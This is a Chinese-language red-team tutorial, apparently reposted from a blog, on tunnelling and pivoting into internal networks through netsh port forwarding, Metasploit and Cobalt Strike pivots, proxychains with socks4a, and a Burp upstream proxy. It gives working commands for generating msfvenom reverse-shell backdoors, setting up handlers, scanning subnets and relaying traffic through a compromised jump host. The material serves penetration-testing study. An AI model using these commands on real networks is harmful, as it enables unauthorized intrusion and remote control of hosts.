红蓝对抗之隧道技术第一篇(内网穿透端口映射&端口转发Netsh端口转发CS正反向连接多层内网Burp设置上游代理访问内网MSF protfwd端口转发/重定向)
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了红蓝对抗之隧道技术第一篇(内网穿透端口映射&端口转发Netsh端口转发CS正反向连接多层内网Burp设置上游代理访问内网MSF protfwd端口转发/重定向)相关的知识,希望对你有一定的参考价值。
文章目录
隧道应用
在进行内网渗透时,由于外网主机无法直接连接内网主机,所以需要使用隧道技术来搭建连接通道访问内网主机即内网穿透,先来了解下几种转发技术
端口映射&端口转发
-
端口映射
是指将一台主机的内网(LAN)IP 地址映射成一个公网(WAN)IP 地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;利用端口映射功能还可以将一台外网 IP 地址机器的多个端口映射到内网不同机器上的不同端口,可以实现内网穿透
例子:
我们在内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器的。于是我们可以在路由器上设置一个端口映射,只要外网用户访问路由器ip的80端口,那么路由器会把自动把流量转到内网Web服务器的80端口上。并且,在路由器上还存在一个Session,当内网服务器返回数据给路由器时,路由器能准确的将消息发送给外网请求用户的主机。在这过程中,路由器充当了一个反向代理的作用,他保护了内网中主机的安全
-
端口转发
有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法
例子:
假如我们内网现在有100台主机,那么我们现在都是通过路由器的这一个公网IP和外网通信的。那么,当互联网上的消息发送回来时,路由器是怎么知道这个消息是给他的,而另外消息是给你的呢?这就要我们的ip地址和路由器的端口进行绑定了,这时,在路由器中就会有一个内网ip和路由器端口对应的一张表。当路由器的10000端口收到消息时,就知道把消息发送给他,而当20000端口收到消息时,就知道把消息发送给你。这就是端口转发,其转发一个端口收到的流量,给另一个主机
-
端口映射与端口转发
用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网双向的通信(即需要配置两端机器),而映射转发只能实现外网到内网的单向通信(只需要配置转发端及机器)
Netsh端口转发
netsh(亦称网络壳层)是一个存在于自微软Windows 2000开始的所有Windows NT系列中的命令行工具。它允许本地或远程配置网络设备,例如硬件接口
环境描述
在内网主机上 80 端口是 WEB 服务,现在想要 kali 能访问内网主机的 80 端口上的内容,因为不在同一个网段攻击者 kali 不能直接访问内网主机而且内网主机不能直接出网,但是攻击者可以直接访问跳板机且跳板机可以访问内网主机,我们只需要在跳板机上使用 netsh 命令设置端口转发即可
命令如下
netsh interface portproxy add v4tov4 listenport=设置的端口 connectaddress=B 服务
器(ip) connectport=端口
# netsh interface portproxy add v4tov4 listenport=8080 connectaddress=10.0.0.2 connectport=80
执行命令后攻击者可以直接访问跳板机的8080端口
跳板机可以使用命令查看所有转发
netsh interface portproxy show all
删除规则
# 全部
netsh interface portproxy reset
# 清除规则指定规则
netsh interface portproxy delete v4tov4 listenport=8080
在设置端口转发后可以使用 burp 直接抓包(这里我使用的是burp自带的浏览器)
Netsh端口转发meterpreter
在跳板机上可以通过设置代理访问内网主机,如果拿到内网主机的权限 通常是生成正向的后门,然后 kali 的 msf 可以正向连接内网主机,由此得到 meterpreter,进而进行其他操作。如果内网主机上有防火墙拦截,kali 的 msf 不能正向连接上后门,为解决这个问题,可以通过生成一个反向后门连接到跳板机上,在跳板机上再通过端口映射或者转发给 kali 的 msf 上
-
攻击者使用 msf 生成反弹 shell 后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.3 lport=8080 -f exe >r.exe # 这里的IP端口均为跳板机
-
在跳板机上增加端口转发命令,将8080端口流量转发至攻击者IP 8080端口
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.179.134 connectport=8080
-
在 kali 上设置监听
use windows/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.179.134 set lport 8080
-
在受害者内网主机上执行后门文件
CS正向连接多层内网
首先跳板机上已经有了 cs 的后门,通过后门查看网络信息发现存在 10.0.0.0/24 网段,跳板机拥有双网卡是可以访问内网主机的,所以在 CS 中可以通过跳板机访问内网主机
-
生成监听器,选择 Beacon TCP
-
生成后门 windows executable(s)
将后门复制到内网主机上并执行
-
在 cs 中进入会话 beacon,使用命令连接内网主机
connect 10.0.0.2 4444
CS反向连接多层内网
使用正向连接很可能因为内网防火墙的存在遭到拦截而连接失败,此时可以使用反向连接突破防火墙的拦截
-
在选择做代理的会话选择 listerner,即跳板机的会话
新建监听器
-
创建后门
选择带有 s 的选项,在 listener 选择刚刚创建的监听器
-
在内网主机上执行后门
执行后,后门会主动连接到跳板机,cs 即会上线
Burp设置上游代理访问内网
在 netsh 端口转发后可以直接使用 burp 抓包,但是对于内网横向渗透时会遇到局限性,如下环境
当 kali 获得服务器 B 得 meterperter 后,可以通过设置 socks4 代理通过在 A 服务器上配置 proxychains 能让 D 访问 C 服务器的 80 端口
当 D 设置浏览器代理,访问 C 的时候 实际上是 D 通过代理访问 A 的 1080 端口转发到 C 的 80 端口上。因为浏览器已经设置代理了,burpsuite 无法再使用浏览器代理,在这种情况下,bursuite 要想使用浏览器代理抓包,可以在 burpsuite 代理模块指定代理 A 的代理信息,但是 burpsuite 不支持 socks4 代理。可以考虑使用 burpsuite 的上游代理设置为系统代理,再通过代理访问 kali 再经过 B 服务器即可访问 C 的 80 端口 整个流程如图
-
跳板机B上线 msf
生成后门,复制到跳板机执行
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.134 lport=8080 -f exe >r.exe
msf 设置监听上线
use windows/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.179.134 set lport 8080 run
-
信息收集,发现10段网络
# 查看路由表 meterpreter > routes run autoroute -p
检测内网存活主机
# 通过ping命令 run post/multi/gather/ping_sweep RHOSTS=10.0.0.0/24 # 通过arp协议 run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24 # 使用info查看模块信息 info post/multi/gather/ping_sweep
-
添加路由,进行nmap扫描
run autoroute -s 10.0.0.0/24
meterpreter > background msf5 exploit(multi/handler) > use auxiliary/server/socks4a msf5 auxiliary(server/socks4a) > run
修改配置文件
sudo vim /etc/proxychains.conf 在文本最后加上代理服务器地址,如果有用户名和密码也加上
测试
proxychains nmap -sT -Pn 10.0.0.2 -p 80 # 这里能访问10.0.0.2是因为在msf中设置了路由
这样设置代理后 A 攻击者就可以通过 B 跳板机访问 C 内网主机
接下来要解决的问题就是让 D 能通过 A 的代理访问 C
在主机 D 浏览器中添加代理,火狐可以在设置中设置,我这里使用插件
这样主机 D 就可以通过代理访问到内网主机 C
最后一个问题主机 D 使用代理,开始也是说了现在浏览中已经设置了代理不能再设置 burp 的流量了,通过 burp 中的上游代理功能来解决,Burp 中利用了两种代理方式,但是 socks 代理只支持 socks5,所以本次使用 Upstream Proxy Servers
设置上游代理的方法
使用代理工具 Proxifier 或者 SocksCap工具,我这里使用的是 SocksCap,SocksCap 系统代理的默认端口为25378(代理类型socks4)
右击屏幕右下角的工具图标选择系统代理
Burp 中添加代理
设置后成功访问10.0.0.2,这样设置不会影响主机其他应用联网
使用 proxifier 也可以,需要设置代理规则,不设置的话只能访问代理,影响其他流量
MSF protfwd端口转发/重定向
Meterpreter shell 中的 portfwd 命令最常用作端口转发,允许直接访问攻击系统无法访问的机器。在可以访问攻击者和目标网络(或系统)的受损主机上运行此命令,我们可以实质上通过本机转发 TCP 连接,从而使其成为一个支点。就像使用 ssh 连接的端口转发技术一样,portfwd 将中继与连接的机器之间的 TCP 连接,效果等同于使用 netsh
先拿到跳板机 meterpreter,
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
-R Indicates a reverse port forward.
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to
使用 add 命令添加端口转发
portfwd add -l 8080 -r 10.0.0.2 -p 80
设置之后访问攻击者的 8080 端口就相当于访问内网主机的 80 端口
推荐阅读
以上是关于红蓝对抗之隧道技术第一篇(内网穿透端口映射&端口转发Netsh端口转发CS正反向连接多层内网Burp设置上游代理访问内网MSF protfwd端口转发/重定向)的主要内容,如果未能解决你的问题,请参考以下文章
红蓝对抗之隧道技术第二篇(reGeorg内网穿透SSH隧道本地Socks代理SSH远程转发Earthworm Socks5代理Tunna正向代理ICMP隧道DNS隧道Frp穿透)